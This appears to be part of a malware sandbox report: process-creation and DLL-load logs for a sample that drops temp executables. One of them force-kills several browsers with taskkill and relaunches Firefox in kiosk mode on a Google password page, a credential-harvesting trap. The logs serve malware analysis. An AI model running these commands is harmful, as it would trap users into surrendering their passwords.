Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4608 -parentBuildID 20230927232528 -prefsHandle 3488 -prefMapHandle 3328 -prefsLen 26338 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {04087b54-4cf9-41a7-8d51-39c0080b3bcf} 7116 "\\.\pipe\gecko-crash-server-pipe.7116" 21d5bebe610 rdd
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1002489001\d40e036167.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002489001\d40e036167.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002489001\d40e036167.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002489001\d40e036167.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002489001\d40e036167.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002489001\d40e036167.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F7UO7T49UKQNSZTWA8QFF.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F7UO7T49UKQNSZTWA8QFF.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F7UO7T49UKQNSZTWA8QFF.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F7UO7T49UKQNSZTWA8QFF.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F7UO7T49UKQNSZTWA8QFF.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F7UO7T49UKQNSZTWA8QFF.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F7UO7T49UKQNSZTWA8QFF.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F7UO7T49UKQNSZTWA8QFF.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F7UO7T49UKQNSZTWA8QFF.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F7UO7T49UKQNSZTWA8QFF.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F7UO7T49UKQNSZTWA8QFF.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\X42E6LZ0BD4W2FEYDTB0TDC.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\X42E6LZ0BD4W2FEYDTB0TDC.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\X42E6LZ0BD4W2FEYDTB0TDC.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\X42E6LZ0BD4W2FEYDTB0TDC.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\X42E6LZ0BD4W2FEYDTB0TDC.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\X42E6LZ0BD4W2FEYDTB0TDC.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\X42E6LZ0BD4W2FEYDTB0TDC.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\X42E6LZ0BD4W2FEYDTB0TDC.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\X42E6LZ0BD4W2FEYDTB0TDC.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\X42E6LZ0BD4W2FEYDTB0TDC.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\X42E6LZ0BD4W2FEYDTB0TDC.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\X42E6LZ0BD4W2FEYDTB0TDC.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\X42E6LZ0BD4W2FEYDTB0TDC.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\X42E6LZ0BD4W2FEYDTB0TDC.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\X42E6LZ0BD4W2FEYDTB0TDC.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\X42E6LZ0BD4W2FEYDTB0TDC.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\X42E6LZ0BD4W2FEYDTB0TDC.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\X42E6LZ0BD4W2FEYDTB0TDC.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\X42E6LZ0BD4W2FEYDTB0TDC.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\X42E6LZ0BD4W2FEYDTB0TDC.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\X42E6LZ0BD4W2FEYDTB0TDC.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\X42E6LZ0BD4W2FEYDTB0TDC.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\X42E6LZ0BD4W2FEYDTB0TDC.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\X42E6LZ0BD4W2FEYDTB0TDC.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\X42E6LZ0BD4W2FEYDTB0TDC.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\X42E6LZ0BD4W2FEYDTB0TDC.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\X42E6LZ0BD4W2FEYDTB0TDC.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\X42E6LZ0BD4W2FEYDTB0TDC.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\X42E6LZ0BD4W2FEYDTB0TDC.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\X42E6LZ0BD4W2FEYDTB0TDC.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\X42E6LZ0BD4W2FEYDTB0TDC.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\X42E6LZ0BD4W2FEYDTB0TDC.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\X42E6LZ0BD4W2FEYDTB0TDC.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\X42E6LZ0BD4W2FEYDTB0TDC.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\X42E6LZ0BD4W2FEYDTB0TDC.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\X42E6LZ0BD4W2FEYDTB0TDC.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\X42E6LZ0BD4W2FEYDTB0TDC.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\X42E6LZ0BD4W2FEYDTB0TDC.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\X42E6LZ0BD4W2FEYDTB0TDC.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\X42E6LZ0BD4W2FEYDTB0TDC.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\X42E6LZ0BD4W2FEYDTB0TDC.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\X42E6LZ0BD4W2FEYDTB0TDC.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
